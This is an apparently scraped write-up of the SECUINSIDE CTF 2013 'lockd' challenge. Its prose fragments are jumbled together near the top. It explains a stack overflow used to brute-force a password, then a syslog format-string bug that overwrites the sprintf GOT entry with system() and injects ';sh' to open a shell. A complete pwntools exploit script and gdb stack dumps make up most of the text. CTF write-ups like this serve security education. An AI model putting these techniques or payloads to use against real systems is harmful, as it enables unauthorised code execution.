SECUINSIDE CTF 2013 - lockd
Table of Contents
SECUINSIDE CTF 2013 pwnable challenge To use the core At this point, it reads 40 bytes to a 20 bytes buffer Once the Taking a closer look at The second argument Never pass a string with user-supplied data as a format, use the following instead: However, since Fortunately, we can pass a format string to Looking at However, another attack is possible: if we leave the last byte of So I wrote the payload as follows. Normally, to utilize FSB, I would construct the payload like As a result, I confirmed that the n-th memory from Also, not only our input format string is output, but the format string goes into the Now, looking at the stack when calling Since all input is received in global variables, we need to exploit by making good use of the values on the stack. Initially, I didn’t realize that 4 bytes would be written at once, so: I tried to proceed with the exploit this way, but the situation changed when I turned on ASLR. When ASLR is off, When ASLR is on, This creates a problem where the By the way, the idea of overwriting The The 0x00. Introduction
[*] '/home/user/lockd'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000) 0x01. Vulnerability
Buffer Overflow
int main()
{
...
printf("Input floor > ");
__isoc99_scanf("%d", &floor_804A4C0);
printf("Room number > ");
__isoc99_scanf("%d", &room_804A0A0);
if ( floor_804A4C0 <= 4 && room_804A0A0 <= 10 && !read_password_8048A7D() )
{
...
}
return -1;
}lock() and unlock() functionalities in main(), you must input floor_804A4C0 and room_804A0A0 values within the valid range, and the result of read_password_8048A7D() must be True.int read_password_8048A7D()
{
FILE *fd; // [esp+10h] [ebp-38h]
char buf[20]; // [esp+14h] [ebp-34h] BYREF
char password[20]; // [esp+28h] [ebp-20h] BYREF
int canary; // [esp+3c] [ebp-c]
*&password[20] = __readgsdword(0x14u);
fd = fopen("password", "rb");
fread(password, 1u, 0x10u, fd);
fclose(fd);
*password_804A0A4 = *password;
*&password_804A0A4[4] = *&password[4];
*&password_804A0A4[8] = *&password[8];
*&password_804A0A4[12] = *&password[12];
printf("Input master key > ");
read(0, buf, 40u);
return memcmp(password, buf, 16u);
}buf, allowing us to overwrite local variable password. FSB in
syslogint lock_8048877()
{
printf("Input master key > ");
read(0, fmt_0804A0C0, 20u);
if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
return -1;
sprintf(fmt_0804A0C0, "./lock LOCK %d %d", floor_804A4C0, room_804A0A0);
system(fmt_0804A0C0);
printf("Your name > ");
read(0, name_804A2C0, 0x190u);
sprintf(fmt_0804A0C0, "LOCK %d-%d by %s", floor_804A4C0, room_804A0A0, name_804A2C0);
syslog(13, fmt_0804A0C0);
return 0;
}password leak is successful, we can use the lock() and unlock() functionalities.syslog(),void syslog(int priority, const char *format, ...);format is a format string, and related information can be found in the Linux manual page.syslog(priority, "%s", string);lock() uses the format syslog(13, fmt_0804A0C0);, so FSB occurs if we insert a format string into fmt_0804A0C0.fmt_0804A0C0 through name_804A2C0, so we can exploit the vulnerability. 0x02. Exploit
Info Leak
int read_password_8048A7D()
{
FILE *fd; // [esp+10h] [ebp-38h]
char buf[20]; // [esp+14h] [ebp-34h] BYREF
char password[20]; // [esp+28h] [ebp-20h] BYREF
int canary; // [esp+3c] [ebp-c]
*&password[20] = __readgsdword(0x14u);
fd = fopen("password", "rb");
fread(password, 1u, 0x10u, fd);
fclose(fd);
*password_804A0A4 = *password;
*&password_804A0A4[4] = *&password[4];
*&password_804A0A4[8] = *&password[8];
*&password_804A0A4[12] = *&password[12];
printf("Input master key > ");
read(0, buf, 40u);
return memcmp(password, buf, 16u);
}read_password_8048A7D() again, although we can manipulate the value of the local variable password by reading 40 bytes in read(), it’s meaningless because lock() and unlock() compare with the value of the global variable password_804A0A4.password and overwrite the front part with the same value as buf, we can brute force byte by byte.def guess_key(s):
key = []
for i in range(16):
for j in range(256):
s = remote("0.0.0.0", 8107)
floor_and_room(s, 1, 2)
payload = b"A" * (16 - len(key) - 1)
payload += chr(j).encode()
payload += ''.join(key).encode()
payload += b"B" * 4
payload += b"A" * (16 - len(key) - 1)
s.send(payload)
try:
if s.recv():
key.insert(0, chr(j))
log.success(f"HIT : {key}")
s.close()
break
except:
s.close()
continue
return key FSB
%p %p %p %p ... to check which format string index corresponds to the part pointed to by $esp. But since syslog() only logs to /var/log/syslog, I couldn’t check the results. Eventually, I manually fuzzed when and where values were written by increasing the ? value in %?$n.$esp can be accessed with %(n + 2)$n.%s part of the "LOCK %d-%d by %s" string, so 0xc bytes of additional values are written. Therefore, I wrote the payload as follows: # %n$ -> pointing (n + 2)th dword from esp
value = elf.got['sprintf']
index = 26
lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())syslog() for exploitation:gef➤ x/20wx $esp
0xffffdcc0: 0x0000000d 0x0804a0c0 0x00000001 0x00000002
0xffffdcd0: 0x0804a2c0 0x08048cb1 0xf7e760d9 0xf7fcd000
0xffffdce0: 0x00000000 0x00000000 0xffffdd18 0x0804883a
0xffffdcf0: 0x08048c9f 0xffffdd08 0x00000002 0x00000000
0xffffdd00: 0xf7fcd3c4 0xf7ffd000 0x00000001 0xf7fcd000
gef➤ x/20wx $esp + 0x50
0xffffdd10: 0x08048b90 0x00000000 0x00000000 0xf7e39af3
0xffffdd20: 0x00000001 0xffffddb4 0xffffddbc 0xf7feae6a
0xffffdd30: 0x00000001 0xffffddb4 0xffffdd54 0x0804a02c
0xffffdd40: 0x08048328 0xf7fcd000 0x00000000 0x00000000
0xffffdd50: 0x00000000 0x3cf1e46c 0x047ec07c 0x00000000
gef➤ x/20wx $esp + 0xa0
0xffffdd60: 0x00000000 0x00000000 0x00000001 0x08048670
0xffffdd70: 0x00000000 0xf7ff0660 0xf7e39a09 0xf7ffd000
0xffffdd80: 0x00000001 0x08048670 0x00000000 0x08048691
0xffffdd90: 0x08048724 0x00000001 0xffffddb4 0x08048b90
0xffffdda0: 0x08048c00 0xf7feb300 0xffffddac 0x0000001c
gef➤ x/20wx $esp + 0xf0
0xffffddb0: 0x00000001 0xffffdec4 0x00000000 0xffffded6
0xffffddc0: 0xffffdeec 0xffffdefd 0xffffdf0e 0xffffdf50
0xffffddd0: 0xffffdf56 0xffffdf66 0xffffdf73 0xffffdf89
0xffffdde0: 0xffffdfa3 0xffffdfb7 0xffffdfd1 0x00000000
0xffffddf0: 0x00000020 0xf7fda540 0x00000021 0xf7fda000
gef➤ x/20wx $esp + 0x140
0xffffde00: 0x00000033 0x000006f0 0x00000010 0x178bfbff
0xffffde10: 0x00000006 0x00001000 0x00000011 0x00000064
0xffffde20: 0x00000003 0x08048034 0x00000004 0x00000020
0xffffde30: 0x00000005 0x00000009 0x00000007 0xf7fdc000
0xffffde40: 0x00000008 0x00000000 0x00000009 0x08048670gef➤ x/wx $esp + 0x64
0xffffdd24: 0xffffddb4
gef➤ x/wx 0xffffddb4
0xffffddb4: 0xffffdec40x00 to 0xffffddb40xffffddb4: 0xffffde000xffffde00 (lower 2 bytes)0xffffde00: 0x0000a03c0x02 to 0xffffddb40xffffddb4: 0xffffde020xffffde00 (upper 2 bytes)0xffffde00: 0x0804a03c0x0804a03c(sprintf got)gef➤ x/wx $esp+0x64
0xff8ca684: 0xff8ca714
gef➤ x/wx 0xff8ca714
0xff8ca714: 0xff8caec40xffffddb4 points to 0xffffdec4, allowing control of the 0xffffde?? area.0xff8ca714 points to 0xff8caec4, allowing control of the 0xff8cae?? area.? value when accessing with %?$n is not consistent, even though we’ve carefully constructed the sprintf() got address on the stack. After struggling with probability issues for a while, I discovered that 0x0804a03c is written all at once, which makes the exploit much simpler.0x0804a03c(sprintf got) to 0xffffddb40xffffddb4: 0x0804a03c0x080485e0(system plt) to 0x0804a03c0x0804a03c: 0x080485e0sprintf() with system() came from the fact that sprintf() was the only function where I could control the value in the first argument. read(0, fmt_0804A0C0, 20u);
if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
return -1;
sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);password must be in the first argument fmt_0804A0C0, but fortunately, while memcmp() only compares 16 bytes, the input receives 20 bytes, creating 4 bytes of free space. Therefore, if we add ;sh after the key, when the GOT overwrite succeeds, the function executes as follows: // sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);
system("c39f30e348c07297;sh");c39f30e348c07297 part is ignored as it’s not a legit command, and the next command sh is executed, spawning a shell. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os
DEBUG = True
BINARY = "lockd"
bp = {
'read_password' : 0x08048A7D,
'unlock' : 0x804897A,
'lock' : 0x8048877,
'syslog_of_lock' : 0x804896e,
}
gs = f'''
b *{bp["syslog_of_lock"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def floor_and_room(s, floor, room):
s.recv()
s.sendline(str(floor).encode())
s.recv()
s.sendline(str(room).encode())
s.recv()
def lock(s, key, name):
s.sendline(b"1")
s.recv()
s.sendline(key)
s.recv()
s.sendline(name)
return s.recv()
def guess_key(s):
key = []
for i in range(16):
for j in range(256):
s = remote("0.0.0.0", 8107)
floor_and_room(s, 1, 2)
payload = b"A" * (16 - len(key) - 1)
payload += chr(j).encode()
payload += ''.join(key).encode()
payload += b"B" * 4
payload += b"A" * (16 - len(key) - 1)
s.send(payload)
try:
if s.recv():
key.insert(0, chr(j))
log.success(f"HIT : {key}")
s.close()
break
except:
s.close()
continue
return key
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
floor_and_room(s, 1, 2)
# [+] key : c39f30e348c07297
# key = ''.join(guess_key(s))
# log.success(f"key : {key}")
key = b"c39f30e348c07297"
s.send(key)
s.recv()
log.info(f"key : {key}")
log.info(f"sprintf got : {hex(elf.got['sprintf'])}")
log.info(f"system plt : {hex(elf.plt['system'])}")
# %n$ -> pointing (n + 2)th dword from esp
value = elf.got['sprintf']
index = 26
lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
value = elf.plt['system']
index = 62
lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
s.sendline(b"1")
s.recv()
s.sendline(key + b";sh")
s.interactive()
if __name__=='__main__':
main()